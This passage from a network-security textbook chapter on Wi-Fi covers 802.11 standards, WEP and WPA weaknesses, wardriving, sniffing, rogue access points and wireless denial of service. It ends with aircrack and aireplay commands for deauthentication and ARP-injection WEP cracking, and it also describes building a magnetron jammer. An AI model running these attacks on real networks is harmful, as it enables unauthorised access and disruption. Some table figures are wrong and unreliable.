a wireless network, the WAP hears all the wireless devices, but individual
wireless devices cannot hear other wireless devices. This is described as the
hidden-node problem. To get around this problem, Carrier Sense Multiple
Access with Collision Avoidance (CSMA/CA) is used. It functions by having
the wireless device listen before it sends a packet. If the wireless device detects
that another device is transmitting, it waits for a random period and tries again.
If the first wireless device listens and discovers no other device is transmitting,
it sends a short message known as the ready-to- send (RTS).
Wireless Access Points
So far, we have primarily discussed wireless devices and how they can
communicate with each other or with the WAP. Let’s look now at the WAP.
WAPs can operate in several different modes depending on what you buy and
how much money you spend. These modes are as follows:
Normal mode — Provides a central point of connection for client wireless devices
Bridge mode — Enables the access point (AP) to communicate directly
with another AP. This requires that both APs be capable of point-to-point
bridging. This technology is useful for extending a WLAN between
buildings
Client mode — Enables the AP to operate as a network client, communicating with other APs, not with other clients
Repeater mode — Provides a method to repeat another access point’s
signal and extends its range
Wireless Communication Standards
Next let’s take a look at some of the popular wireless standards for use with
WLANs. Table 9-1 lists the specifications for these standards.
The first of these protocols to be released was actually 802.11b. The IEEE
does not always release these standards in alphabetic order. The 2.4GHz band
is unlicensed and is known as the Industrial, Scientific, and Medical (ISM)
band. When operating, these devices may interfere with 802.11b, 802.11g, or
802.11n communications.
The 802.11 family of protocols defines the physical layer standards by
which the protocols work. These standards describe the frequency, band, and
Wi-Fi Basics
Table 9-1 IEEE WLAN Standards
IEEE STANDARD
ESTIMATED SPEED
FREQUENCIES
802.11a
54Mbps
5.725 to 5.825
802.11b
11Mbps
2.400 to 2.2835
802.11 g
54Mbps
2.400 to 2.2835
802.11n
540Mbps
2.400 to 2.2835
the transmission technology used to access the network and communicate
in the defined band. The 802.11b, 802.11 g, and 802.11n systems divide the
usable spectrum into 14 overlapping staggered channels whose frequencies
are 5 MHz apart. The channels that are available for use in a particular country
differ according to the regulations of that country. As an example, in North
America 11 channels are supported, whereas most European countries support
13 channels.
Most wireless devices broadcast by using spread-spectrum technology. This
method of transmission transmits data over a wide range of radio frequencies
(RFs). Spread spectrum lessens noise interference and allows data rates to
speed up or slow down, depending on the quality of the signal. Spread
spectrum is an RF communications system in which the baseband signal
bandwidth is intentionally spread over a larger bandwidth by injecting a
higher-frequency signal. Thus, energy used in transmitting the signal is spread
over a wider bandwidth and appears as noise. This technology was pioneered
by the military to make eavesdropping difficult and increase the difficulty of
signal jamming. Currently, the following types of spread-spectrum technology
exist: direct-sequence spread spectrum (DSSS), frequency-hopping spread
spectrum (FHSS), and orthogonal division multiplexing (ODM).
DSSS — This method of transmission divides the stream of information
to be transmitted into small bits. These bits of data are mapped to a pattern of ratios called a spreading code. The higher the spreading code,
the more the signal is resistant to interference, but the less bandwidth is
available. The transmitter and the receiver must be synchronized to the
same spreading code.
FHSS — This method of transmission operates by taking a broad slice
of the bandwidth spectrum and dividing it into smaller subchannels of
about 1MHz. The transmitter then hops between subchannels, sending
out short bursts of data on each subchannel for a short period of time.
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This is known as the dwell time. For FHSS to work, all communicating devices must know the dwell time and must use the same hopping
pattern.
Because FHSS uses more subchannels than DHSS, it can support more
wireless devices. FHSS devices also typically use less power and are the
cheaper of the two types.
ODM — This spread-spectrum technique uses frequency division multiplexing and distributes data over carriers that are spaced apart at precise
frequencies. The spacing provides the ’’orthogonality’’ and prevents
demodulators from seeing frequencies other than their own. The benefits of this technology include resiliency to RF interference and lower
multi-path distortion; the technology is sometimes called multi-carrier or
discrete multi-tone modulation. The technique is used for digital TV in
Europe, Japan, and Australia.
Bluetooth Basics
A review of wireless basics would not be complete without some mention of
Bluetooth. This is another technology you will most likely come in contact with.
Bluetooth is a wireless personal area network (PAN) technology developed by
the Bluetooth Special Interest Group. The Bluetooth technology was originally
conceived by Ericsson to be a standard for small, cheap radio-type devices
that would replace cables and allow for short-range communication. Bluetooth technology enables users to connect many different devices simply and
easily without cables. It is named after Harald Bluetooth, King of Denmark
in the late 900s, and is used specifically to provide a peer-to-peer service to
cellular phones, laptops, handheld computers, digital cameras, printers, and
the like. It uses FHSS technology and hops 1,600 times per second among
79 RF channels. By the mid 1990s, the technology started to grow, and by
2000 its usage had become much more widespread. The three classifications of
Bluetooth are as follows:
Class 1 — Has the longest range, up to 100 meters, and has 100mW of
power.
Class 2 — Although not the most popular, it allows transmission up to
20 meters and has 2.5mW of power.
Class 3 — This is the most widely implemented and supports a transmission distance of 10 meters and has 1mW of power.
The IEEE group for Bluetooth is 802.15.1. Bluetooth operates at the 2.45GHz
frequency. Bluetooth divides the bandwidth into narrow channels to avoid
interference with other devices that utilize the same frequency.
Wi-Fi Security
THE REAL RANGE OF BLUETOOTH
One reason why Bluetooth did not originally have strong security controls built
in was that it was believed that Bluetooth could be targeted only from a very
close range. That theory didn’t last long; in 2005, a presentation at Black Hat
demonstrated that Bluetooth could be targeted from up to about a mile away.
If the attacker was targeting a high-rise or office building, several antennas
could be used to track a specific individual as he moved around the building.
The actual device used to sniff Bluetooth at these ranges was little more than a
modified antenna, duct tape, a gun stock, cable, and tie wraps. Anyone could
build such a device in an afternoon. If you would like to learn more about this
hack or might even want to build your own Bluetooth long-range antenna, take
some time to review the information at the following URL:
www.tomsnetworking.com/2005/03/08/how to bluesniper pt1.
Wi-Fi Security
Wired and wireless networks are very different from a security standpoint.
First, on a wired network the user must gain some access to the physical
wire or connector. Second, the network card must be connected to the network. Finally, there is the issue of authentication. Most networks require
a user to authenticate himself or herself with a password, token, or biometric (or combination of these). On a wireless network, these issues were
initially overlooked in the first wireless security standard, Wired Equivalent
Privacy (WEP).
Wired Equivalent Privacy
WEP was designed to provide the same privacy that a user would have on
a wired network. WEP is based on the RC4 symmetric encryption standard
and uses either a 64-bit or 128-bit key. WEP’s security issue actually begins
here, because the entire 64- or 128-bit key is not used for encryption, and 24
bits of this key are actually pealed off for use as an initialization vector (IV).
The purpose of the IV is to encrypt each packet with a different key. This is
accomplished by adding the IV to the 40-bit or 104-bit preshared key (PSK).
The result is IV + PSK. This also has reduced the effective key strength of the
process because the effective lengths of the keys are now only 40 or 104 bits.
There are two ways to generate and use the PSK:
First, the default key method shares a set of up to four default keys with
all the WAPs.
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Second is the key-mapping method, which sets up a key-mapping
relationship for each wireless station with another individual station.
Although slightly more secure, this method is more work; it adds overhead and reduces throughput somewhat. This overhead means many
systems that use WEP opt to use a single shared key on all stations.
To better understand the WEP process, you need to understand the basics
of Boolean logic. Specifically, you need to understand how XORing (exclusive
OR) works. XORing is just a simple binary comparison between 2 bits that
produce another bit as a result of the XORing process. When the 2 bits are
compared, XORing looks to see whether they differ. If the answer is yes, the
resulting output is a 1. If the 2 bits are the same, the result is a 0. Table 9-2
shows an example of this.
Table 9-2 XOR Functions
VALUE
DATA BIT
1
0
1
0
KEY BIT
1
0
0
1
RESULTING VALUE
0
1
1
0
To better understand this process and to understand how WEP functions,
let’s look at the seven steps for encrypting a message:
1. The transmitting and receiving stations are initialized with the secret key.
This secret key must be distributed by using an out-of-band mechanism
such as email, posting it on a web site, or giving it to you on a piece of
paper (as many hotels do).
2. The transmitting station produces a seed, which is obtained by appending the 40-bit secret key to the 24-bit IV, for input into a pseudo-random
number generator (PRNG).
3. The transmitting station inputs the seed to the WEP PRNG to generate a
key stream of random bytes.
4. The key stream is XOR’d with plaintext to obtain the ciphertext.
5. The transmitting station appends the ciphertext to the IV and sets a bit
that indicates that it is a WEP-encrypted packet. This completes WEP
encapsulation, and the results are transmitted as a frame of data.
WEP encrypts only the data. The header and trailer are sent in clear text.
6. The receiving station checks to see whether the encrypted bit of the frame
it received is set. If so, the receiving station extracts the IV from the frame
and appends the IV to the secret key.
Wi-Fi Security
7. The receiver generates a key stream that must match the transmitting
station’s key. This key stream is XOR’d with the ciphertext to obtain the
sent plaintext.
The big problem with WEP is that the IVs are not exclusive and are reused.
This results in a big vulnerability in that reused IVs expose the PSK. To
demonstrate this better, consider the following. Let’s assume that our PSK
is 8765309. This value would be merged with qrs to create the secret key of
qrs8765309. This value would be used to encrypt a packet. The next packet
would require a new IV. Therefore it would still use the PSK 8765309 but this
time it would concatenate it with the value mno to create a new secret key of
mno8765309. This would continue for each packet of data created. This should
help you realize the changing part of the secret key is the IV, and that’s what
WEP cracking is interested in. A busy AP that sends a constant flow of traffic
will actually use up all possible IVs after five to six hours. Once someone can
capture enough packets so that he has reused keys, WEP can be cracked. Tools
such as WEP Crack and AirSnort were created for just this purpose.
While wireless vendors did work to remove weak IVs, attackers were
looking for other ways to crack the encryption standard. In August 2004, a
hacker named KoreK released a new piece of attack code that sped up WEP
key recovery by nearly two orders of magnitude. Instead of using the passive
approach of collecting millions of packets to crack the WEP key, his concept
was to actively inject packets into the network. The idea is to solicit a response
from legitimate devices on the WLAN. Even though the hacker can’t decipher
these packets in their encrypted form, he can guess what they are and use
them in a way to provoke additional traffic-generating responses. This makes it
possible to crack WEP in less than 10 minutes on many wireless networks. With
these issues on everyone’s mind, IEEE knew that a new encryption standard
would be needed. After all, WEP did not even ensure the authenticity of the
data packets.
Wi-Fi Protected Access
The task force assigned to address the growing security needs of wireless users
is 802.11i. They were challenged not only to develop a long-term standard
but also to develop something that could be used to secure wireless systems
quickly. To meet these two demands, Wi-Fi Protected Access (WPA) was
developed as a short-term solution.
WPA delivers a level of security way beyond what WEP offers. WPA uses
Temporal Key Integrity Protocol (TKIP). TKIP scrambles the keys using a
hashing algorithm and adds an integrity-checking feature that verifies that
the keys haven’t been tampered with. WPA improves on WEP by increasing
the IV from 24 bits to 48. Rollover has also been eliminated, which means key
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reuse is less likely to occur. WPA also avoids another weakness of WEP by
using a different secret key for each packet. Another improvement in WPA
is message integrity. WPA addressed a message integrity check (MIC) that is
known as Michael. Michael is designed to detect invalid packets and can even
take measures to prevent attacks. Best of all, WPA is backward compatible
and can work with the RC4 algorithm. This enables users to upgrade existing
hardware that may not be able to work with more intense cryptographic
algorithms.
In 2004, the long-term solution to wireless security was approved with the
release of WPA2. This is the standard that the 802.11i group had been working
toward. It was designed to use Advanced Encryption Standard (AES). AES
requires much more processing power than RC4, which was included with the
original 802.11 design. Key sizes of up to 256 bits are now available, which is
a vast improvement over the original 40-bit encryption WEP used. Table 9-3
shows the common modes and types of WPA and WPA2.
WPA and WPA2 can use a variety of security protocols such as Counter
Mode with Cipher Block Chaining Message Authentication Code Protocol
(CCMP). CCMP is based on the AES encryption algorithm. It expands the
IV to 48 bits to prevent rollover and detects replayed traffic. Another WPA
authentication protocol is Extensible Authentication Protocol (EAP), defined in
RFC 3758. EAP is an authentication framework, not an authentication mechanism. EAP rides on top of the Ethernet protocol to facilitate authentication
between the client requesting to be authenticated and the server performing
the authenticating. There is also EAP over LAN (EAPOL), which the IEEE
approved as a transmission method to move packets from the client to an
authentication server. There are four basic types of EAPOL packets:
The EAPOL packet — This message type is simply a container for transporting EAP packets across a LAN.
The EAPOL start — This message is used by the client to inform the
authenticator it wants to authenticate to the network.
Table 9-3 WPA and WPA2 Differences
MODE
WPA
WPA2
ENTERPRISE MODE Authentication: IEEE 802.1x EAP Authentication: IEEE 802.1x EAP
PERSONAL MODE
Encryption: TKIP/MIC
Encryption: AES/CCMP
Authentication: PSK
Authentication: IEEE 802.1x EAP
Encryption: TKIP/MIC
Encryption: TKIP/MIC
Wi-Fi Security
The EAPOL logoff — The message informs the authenticator that the
client is leaving the network.
The EAPOL key — This message type is used with 802.1x for key
distribution.
Finally, there is Temporal Key Integrity Protocol (TKIP). TKIP is used to
address the known cipher attack vulnerability that WEP was vulnerable to.
TKIP’s role is to ensure each data packet is sent with its own unique encryption
key. TKIP uses the RC4 algorithm.
802.1x Authentication
802.1x provides port-based access control. When used in conjunction with
EAP, it can be used as a means to authenticate devices that attempt to connect
to a specific LAN port. Although EAP was designed for the wired world,
it is being bundled with WPA as a means of communicating authentication
information and encryption keys between a client or supplicant and an access
control server such as RADIUS. In wireless networks, EAP works as follows:
1. The WAP requests authentication information from the client.
2. The user then supplies the requested authentication information.
3. The WAP then forwards the client-supplied authentication information
to a standard RADIUS server for authentication and authorization.
4. The client is allowed to connect and transmit data upon authorization
from the RADIUS server.
There are other ways the EAP can be used depending on its implementation:
password, digital certificates, and token cards are the most common forms of
authentication used. EAP can be deployed as EAP-MD5, Cisco Lightweight
EAP (LEAP), EAP with Transport Layer Security (EAP-TLS), or EAP with
Tunneled TLS (EAP-TTLS).
IN THE LAB
All this talk of wireless may have you thinking of how to apply this to your
network security lab. The best place to start is by observing some wireless
traffic with and without encryption. You will need a WAP, wireless card, and a
sniffer to complete this task. You will find Wireshark already installed in the
BackTrack distribution. Use your Windows client to connect to your WAP, and
make sure that all encryption is turned off. This primarily includes WEP and
WPA, as those are the two most commonly found protocols. Once the WAP has
been reconfigured, start BackTrack and connect through a wireless card to the
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IN THE LAB (continued)
Internet. Now start Wireshark and ensure that it is capturing traffic. Browse
several pages on the Internet and then stop Wireshark. If you look at any one
individual frame from the wireless client, you will notice that everything is in
clear text.
Next, you will want to reconfigure the access point to use WEP or WPA.
Again, start capturing traffic with Wireshark and browse several random pages
on the Internet. Stop the capture; notice how the traffic is now encrypted? Even
with the encryption, you might notice that the media access control (MAC)
addresses (physical addresses) are still in the clear. WEP and WPA protect the
contents of the packet and not the physical frame. When finished verify the
WAP has encryption turned on.
Wireless LAN Threats
Wireless networks are open to a number of threats that you may not ever
even consider on a wired network. This section discusses some of the attacks
that can be launched against a wireless LAN. These include wardriving,
eavesdropping, rogue APs, and denial of service attacks.
Wardriving
As you learned in Chapter 3, ‘‘Passive Information Gathering,’’ wardriving is
the term used to describe someone who uses a laptop and a wireless NIC to
look for wireless networks. The entire act of searching for wireless networks
has created some unique activities such as the following:
Wardriving — The act of finding and marking the locations and status
of wireless networks. This activity is usually performed by automobile.
The wardriver typically uses a Global Positioning System (GPS) device
to record the location, and a discovery tool such as NetStumbler.
Warchalking — The act of marking buildings or sidewalks with chalk to
show others where it’s possible to access an exposed company wireless
network.
War flying — Similar to wardriving, except that a plane is used rather
than a car. One of the first publicized acts occurred in the San
Francisco area.
Wireless LAN Threats
Figure 9-3 www.wigle.net wireless LAN tracking.
As you can see, the concept is simple: move from place to place and look
for wireless networks. If the wardriver has a GPS attached to his laptop or
handheld device, all he needs to do is log this data, and over time he can
start to assemble a database of networks and their location. Some web sites
have even been set up for just this purpose. Figure 9-3 show one such site,
www.wigle.net.
On the surface, there may not be anything illegal with someone searching
for and finding wireless networks. The real concern is what comes next.
Piggybacking is the first issue that comes to mind. Just like addicts need a fix,
some people need Internet access. It might be the guy across the hall at the
apartment building who just doesn’t have the cash for his own Internet access,
or it could be the road warrior who needs to check his email and feels he just
can’t wait till he gets home or back to the office.
BLACKBERRYS AND EMAIL ADDICTION
On April 19 2007, Research in Motion, makers of the BlackBerry handheld
devices, suffered an outage in the push technology they use to deliver email to
their handheld devices. The reaction from many users was similar to what is
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BLACKBERRYS AND EMAIL ADDICTION (continued)
seen in individuals that suffer from addiction. This included craving, stress,
emotional upset, and the desire to quickly get the addictive substance back. So
much was actually made of the outage that some have even gone as far as to
describe BlackBerrys as ‘‘CrackBerrys’’ because of the device’s supposed
addictive nature. According to http://www.dailymail.co.uk/pages/live/
articles/news/news.html?in article id=401646&in page id=1770, a
study performed claims the BlackBerry is fuelling a rise in email addiction that
can be identified by the fact that sufferers must check their email every few
minutes. Whether this is a real addiction is yet to be proven. But what is known
is that people will go to great lengths to check email or get Internet access
to do so.
The second group of people to be concerned with are wireless hackers
who would like to use an organization’s wireless connection to gain access
to its resources. These individuals want to access sensitive information, gain
top-secret data, or crash a critical system. Although not everyone scanning
for wireless networks is trying to cause damage or harm to your company’s
computers, it is something to be concerned about.
IN THE LAB
With wireless security being such an important topic, you may be wondering
how to plug all these potential security holes. In the lab, you can start by
turning on encryption. You will also want to practice defense in depth.
Therefore, you should apply more than just this one defensive measure. For
example, you might want change the SSID and not broadcast it, turn off DHCP
for wireless clients, and limit or filter which MAC addresses can connect to the
network. While it is true that some of these defenses may be overcome by an
attacker, the idea is to raise enough barriers that they move on to other targets.
Practice implementing each of the controls in the lab environment and consider
ways in which security can be applied in layers.
NetStumbler
One of the primary tools used to locate wireless networks is NetStumbler.
You can download the program from www.netstumbler.com. NetStumbler is
a Windows-based GUI tool that you can use as a wireless scanner. It operates
by sending out a steady stream of broadcast packets on all channels. It’s useful
for checking the coverage of an organization’s wireless LAN. Figure 9-4 shows
a screenshot of NetStumbler.
Wireless LAN Threats
Netstumbler can provide the user with a wealth of information such as:
MAC address
SSID
Access point name
Channel
Vendor
Security (WEP on or off)
Signal strength
GPS coordinates (if GPS device is attached)
MiniStumbler is a version of the software that is available for handheld
devices.
Figure 9-4 NetStumbler.
Using NetStumbler is rather straightforward. Just download and install the
program onto a laptop computer that has a wireless NIC. The most common
type of wireless card that is used is one that has an attachment for an external
antenna. Cards such as the Proxim and Cisco are popular because both have
jacks for external antennas. Using an external antenna allows the attacker
to extend the range and to either use a focused directional antenna or an
omnidirectional magnetic-based antenna that can be easily mounted to the
roof of a car. This allows the wardriver to easily move around looking for
WAPs. Figure 9-5 shows an example of this.
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BANK
BANK
Bank WLAN Signal
Wardriver with NetStumbler
Figure 9-5 Wardriving with NetStumbler.
IN THE LAB
Since you are building your own security lab, NetStumbler is a good tool to
perform site surveys. It enables you to examine your organization’s wireless
infrastructure and coverage. NetStumbler can also be used to look for rogue
APs. You never know when an employee may have illegally added a WAP
without the organization’s permission. Finally, just because you don’t find any
rogue APs, don’t be fooled into thinking the organization is 100 percent clear,
because NetStumbler does not look at the 900MHZ or 5GHz frequencies.
NetStumbler works by sending probe request frames that cause APs to
respond with information about themselves. The normal operation of a WAP
is for it to transmit beacons about 10 times a second. The beacons provide
information on time, capabilities, supported rates, and the SSID. If the WAP
supports the closed network feature, NetStumbler will not get a response,
provided that the WAP does not respond to probe request frames using
broadcast SSIDs.
Even if the WAP is in a hidden mode, there are still ways for the
attacker to get the SSID. All the attacker has to do is to send a spoofed
disassociate message. The message simply tells the WAP to dissociate an
active station. The spoofed client will then be forced to reassociate with
the WAP. To do this, the client cycles through probe requests within a
second after the disassociation attack. BackTrack contains the Void11 tool,
which will accomplish just such an attack. It can also be downloaded from
www.wirelessdefence.org/Contents/Void11Main.htm. (Note that the URL is
case sensitive.) This method forces a hidden WAP to reveal its SSID.
Wireless LAN Threats
Kismet
Kismet is an 802.11 Layer 2 wireless network detector that runs on the
Linux OS. It is also available on BackTrack or can be downloaded from
www.kismetwireless.net. Kismet works with many wireless cards and has a
similar functionality to NetStumbler’s. Kismet has the following features:
Detection of NetStumbler clients
Cisco product detection via CDP
IP block detection
Hidden SSID decloaking
Ethereal file logging
Airsnort-compatible weak key logging
Run-time decoding of WEP packets
Grouping and custom naming of SSIDs
Multiple clients viewing a single capture stream
Graphical mapping of data
Manufacturer identification
Detection of default WAP configurations
NetStumbler and Kismet are just two of the tools available for site surveys
and wardriving activities.
Eavesdropping
Eavesdropping is another WLAN threat. If a hacker can use NetStumbler or
Kismet and find an WAP that is configured with the manufacturer’s default
configuration, it will likely be a target for the attacker. A WAP with even WEP
installed is much less appealing for the person doing a random drive-by. Why
spend the time hacking it when so many WAPs are open? Even today, WAPs
are still open everywhere. As an example of this, consider the following. On a
recent trip to a large West Coast city, I placed my laptop in my backpack and
walked about 8 to 10 blocks. Figure 9-6 shows the results of my war walk.
Notice how only a few of those shown had encryption turned on. Out of
the 140 WAPs I picked up, fewer than half had any form of encryption turned
on. Now, although my war walk was just for statistical purposes, an attacker
within range can take the next step and intercept the radio signals from these
open WAPs and decode the data being transmitted. Nothing more than a
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Figure 9-6 War walking results.
wireless sniffer and the ability to place the wireless NIC into promiscuous mode
is required. If the attacker is using an antenna, he can be even farther away,
which makes these attacks hard to detect and prevent.
Anything that is not encrypted is vulnerable to attack. Most computer
security is based on passwords. Protocols such as File Transfer Protocol
(FTP), Telnet, and Simple Mail Transport Protocol (SMTP) transmit username
and passwords in clear text. These protocols are highly vulnerable. Wireless
equipment can be configured for open systems authentication or shared key
authentication. Open systems authentication means no authentication is used.
Wireless LAN Threats
A large portion of the wireless equipment sold defaults to this setting. If used
in this state, hackers are not only free to sniff traffic on the network, they are
free to connect to it and use it as they see fit. If there is a path to the Internet,
the hacker may use the victim’s network as the base of attack. Anyone tracing
the IP address will be led back to the victim, not the hacker.
Many hotels, business centers, coffee shops, and restaurants provide wireless
access with open authentication. In these situations, it is excessively easy for a
hacker to gain unauthorized information, hijack resources, and even introduce
back doors onto other systems. Just think about it: one of the first things
most users do is check their email. This means that usernames and passwords
are being passed over a totally insecure network. Tools such as Dsniff, Win
Sniffer, and Cain & Abel can be used to eavesdrop and capture passwords
being passed on an insecure network. Figure 9-7 shows an example of this.
Dsniff allow the attacker to focus on one specific type of traffic. Dsniff is
included with BackTrack and can also be downloaded from http://monkey
.org/∼dugsong/dsniff/. Dsniff is actually a collection of tools that includes
Dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy. These tools allow
the attacker to passively monitor a network for interesting data such as
passwords, email, and file transfers. The Windows port is available at
www.datanerds.net/∼mike/dsniff. An example capture of Dsniff is shown
here:
C:\>dsniff
User: James
Password: Pil@t77
Laptop User FTPing
Corporate Site
Wardriver Eavesdropping
Figure 9-7 Password eavesdropping.
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Win Sniffer is a password-capture utility that enables network administrators to capture passwords of any network user. Win Sniffer can capture and
decode FTP, POP3, HTTP, ICQ, SMTP, Telnet, IMAP, and NNTP usernames
and passwords.
Win Sniffer is a Windows utility that is typically installed on a laptop.
It can be used by security professionals to audit the network or by attackers to access sensitive information. Win Sniffer can be downloaded from
www.winsniffer.com. Figure 9-8 shows a sample capture from the program.
Cain is a multipurpose tool that can perform a variety of tasks, including
Windows enumeration, sniffing, and password cracking. Cain & Abel is shown
in Figure 9-9 and is available from www.oxid.it. Cain & Abel will perform
password sniffing and password cracking. The password-cracking portion of
the program can perform dictionary and brute-force cracking, and can use
precomputed hash tables.
LCP is available from www.lcpsoft.com and is designed to audit passwords
and password strength. LCP can perform the following functions:
Accounts information import
Passwords recovery
Brute-force password cracking in single or distributed more
Hashes computing
Even if encryption is being used, the Ethernet frame is still transmitted
in the clear. Even the WLANs using WEP are vulnerable. Tools discussed
throughout this chapter can be used to crack WEP. While the deficiencies of
WEP were corrected with the WPA protocol, those WAPs still running WEP
are vulnerable.
Figure 9-8 Win Sniffer.
Wireless LAN Threats
Figure 9-9 Cain & Abel.
Rogue and Unauthorized Access Points
A rogue access point is an unauthorized connection to the corporate network.
A Gartner group report found that 20 percent of networks have rogue WAPs
attached. Two primary threats can occur from rogue and unauthorized WAPs:
The employee’s ability to install unmanaged APs. The ease of use of
wireless equipment and the lure of freedom is just too much for some
employees to resist.
The ability to perform WAP spoofing.
The way to prevent and deter rogue WAPs installed by insiders is by
building strong policies that dictate harsh punishments for individuals found
to have installed rogue WAPs and by performing periodic site surveys.
Rogue WAPs may also be installed by outsiders seeking access. These
devices pose a serious threat. Many times these devices are placed near
the outside of the building. As an example, the attacker may seek to place
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Internet
Rogue
Access Point
Public Access Point
Attacker
User
Figure 9-10 Access point spoofing.
the rogue WAP near a window or in a location close to the outside of the
building so that he can sit in a parking lot or unsecured outside location and
attack the network. The attacker will not want to arouse suspicion, so picking
a place that he can sit and not look out of place is important. The attacker will
also typically use a low-cost device, because the possibility of loss is high. If
encryption is already being used on the network, the attacker will most likely
also turn encryption on (because he doesn’t want to arouse suspicion). Site
surveys would most likely be looking for unencrypted traffic or anything that
looks out of the ordinary.
Access point spoofing occurs when the hacker sets up their own rogue WAP
near the victim’s network or in a public place where the victim might try and
connect. If the spoofed WAP has the stronger signal, the victim’s computer
will choose the spoofed WAP. This puts the attacker right in the middle of all
subsequent transmissions. From this man-in-the-middle position, the attacker
may attempt to steal usernames and passwords or simply monitor traffic.
When performed in an open hot spot, this attack is sometimes referred to as
the evil twin attack. Figure 9-10 shows an example of this.
Host routing is also a potential problem for wireless clients. Both Windows
and Linux provide IP-forwarding capabilities. Therefore, if a wireless client is
connected to both a wired and wireless networks at the same time, this may
expose the hosts on the trusted wired network to all any hosts that connect
via the wireless network. Just by a simple misconfiguration, an authorized
client may be connected to the wired network while unknowingly having its
wireless adapter enabled and connected to an unknown WLAN. If hackers
can compromise the host machine via the open WLAN adapter, they are then
positioned to mount an attack against the hosts on the wired network.
Denial of Service
If all else fails, an attacker can always target a wireless network for a denial of
service (DoS) attack. Although a DoS attack does not get the attacker access,
it does render the network unusable or degrade service for legitimate users.
Exploiting Wireless Networks
These attacks can target a single device or the entire wireless network, or can
attempt to render wireless equipment useless. Some common types of wireless
DoS attacks are covered here:
Authentication flood attack — This type of DoS attack generates a flood
of EAPOL messages requesting 802.1X authentication. As a result, the
authentication server cannot respond to the flood of authentication
requests and consequently fails to return successful connections to valid
clients.
Deauthentication flood attack — This type of DoS targets an individual
client and works by spoofing a deauthentication frame from the WAP
to the victim. The victim’s wireless device would attempt to reconnect,
so the attack would need to send a stream of deauthentication packets to
keep the client out of service.
Network jamming attack — This type of DoS targets the entire wireless
network. The attacker simply builds or purchases a transmitter to flood
the airwaves in the vicinity of the wireless network. A 1,000-watt jammer 300 feet away from a building can jam 50 to 100 feet into the office
area. Where would a hacker get such a device? If could be built from a
microwave oven. At the heart of a microwave oven is a magnetron. Normally, a microwave oven doesn’t emit radio signals beyond its shielded
cabinet. The magnetron must be modified to be useful, but very little
skill is required to make this modification. This type of attack would be
dangerous to anyone in the general area of the transmitter, as at high
level it would be like placing yourself in a microwave oven. You can also
opt to buy a ready-made jammer. Here is an example for your review:
www.engadget.com/2005/07/27/spymodex-900 mhz-2-5ghz-wirelessjammer.
Equipment destruction attack — This type of DoS targets the AP. The
hacker uses a high-output transmitter with a directional high-gain
antenna to pulse the AP. High-energy RF power will damage electronics
in the WAP, resulting in its being permanently out of service. Such highenergy RF guns have been demonstrated to work, and cost little to build.
Exploiting Wireless Networks
Wireless networks can be exploited in many different ways. Previous sections
of this chapter have demonstrated some of the ways in which wireless systems
are vulnerable. Now let’s looks at some specific tools and techniques used to
exploit wireless networks.
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Finding and Assessing the Network
The first thing that must be done is to find the network. The BackTrack
disc included with this book has Kismet included. For the Windows user,
NetStumbler can also be used. Unless you plan to hold your laptop out the
window of your car as you drive around, you also want to make sure to get
a good external antenna. Antennas come in two basic types: directional and
omnidirectional. A directional antenna can be used in a single direction only,
whereas an omnidirectional antenna can receive signals from all directions. If
you want to pick up a good directional antenna, check out www.cantenna.com or
take a look at www.turnpoint.net/wireless/cantennahowto.html for instructions on how to build your own. If you are unsure of the target’s location, an
omnidirectional antenna may be a better choice.
After locating the target network, you might want to initially use a tool
such as Wireshark just to get an idea of whether the network is actually using
encryption. You should be able to tell this by using Kismet or NetStumbler,
but Wireshark may help you determine whether the organization is using
MAC filtering. If that is the case, MAC-spoofing tools are needed. Change-Mac
is a MAC-spoofing tool that can be used to change your computer’s MAC
address and bypass MAC address filtering. Change-MAC can be downloaded
from http://www.softpedia.com/get/Security/Security-Related/ChangeMAC.shtml. After you have determined whether MAC filtering is being used
and what, if any, encryption is present, you can take advantage of several
different tools to crack various encryption mechanisms.
Setting Up Aerodump
WEP cracking can be done from a single system or from two systems (with one
injecting traffic and the second sniffing traffic). Either way, the primary tool
discussed here is Aircrack. Aircrack is actually a suite of tools that provides
everything you need to crack WEP. Aircrack includes the following:
Airodump — Captures wireless packets
Aireplay — Performs injection attacks
Aircrack — Cracks the WEP key
The Aircrack suite can be started from the command line, or if you are using
BackTrack it can be found at Kmenu ➪ BackTrack ➪ Wireless Tools ➪ Cracking
➪ Aircrack.
The first thing that must be done is to configure the wireless card to capture
an ARP packet. The following command should be used:
airodump CARD dump CHANNEL 1
Exploiting Wireless Networks
Let’s look at what this command means. CARD is the name of the wireless
card you are using, and CHANNEL is the channel of the AP. Common channels
are 1, 6, and 11. The 1 at the end of the command line instructs Airodump to
only save IVs to the file. This will also change the suffix for the capture file
from .cap to .ivs.
Configuring Aireplay
Aireplay is used to inject packets to increase the selection of crackable
data. Aireplay has several options that make it a powerful tool. These are
listed here:
Attack
Attack
Attack
Attack
Attack
Attack
Attack
0:
1:
2:
3:
4:
5:
9:
Deauthentication
Fake authentication
Interactive packet replay
ARP request replay attack
KoreK chopchop attack
Fragmentation attack
Injection test
Let’s spend some time now getting interactive so that I can show you
step by step specifically how this tool can be used. For this example, I use
the deauthentication and ARP request replay attacks. For some background,
ARP’s (Address Resolution Protocol) purpose is to map known IP addresses
to unknown MAC addresses. The first step in this two-step process is to
send a broadcast message requesting the target’s physical address. If a device
recognizes the address as its own, it issues an ARP reply containing its MAC
address to the original sender. The MAC address is then placed in the ARP
cache and used to address subsequent frames. This same process holds true
for wireless clients. When a wireless client attempts to communicate through
an AP, it sends an ARP request. Because a wireless network does not have
the reliability of a wired network, several ARPs are actually transmitted. If
encryption is being used, the response is sent as encrypted traffic. Unless limits
have been implemented, it might be possible to generate several hundred ARP
replies per second.
Deauthentication and ARP Injection
If for some reason a client device becomes deauthenticated, it will try to
reauthenticate itself with the WAP. During this process, several ARP requests
will take place. To attack the WAP I can use Aireplay and the -0 attack
shown above. This will effectively deauthenticate the client and force it to
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reauthenticate itself. Before you perform the attack, Aireplay needs to be set
up on a separate system or in a different terminal window to capture the ARP
request so that it can rebroadcast the packet and generate additional traffic.
This is accomplished by typing the following command into a new terminal
window and launching the capture:
aireplay -3 -b APMAC -h CLIENTMAC -x 500 DEVICE
This preceding command tells Aireplay to listen for an ARP request coming
from the client’s MAC address and directed at the WAP’s MAC address, then
broadcast that request 500 times per second from your wireless NIC. Now the
deauthentication attack may also be run:
aireplay -0 10 -a APMAC -c CLIENTMAC DEVICE
This command specifies the APMAC, which is your WAP MAC address,
CLIENTMAC, which is the client MAC address, and the DEVICE, which is the
device name.
Capturing IVs and Cracking the WEP KEY
When the attack is launched, a steady stream of packets will be received.
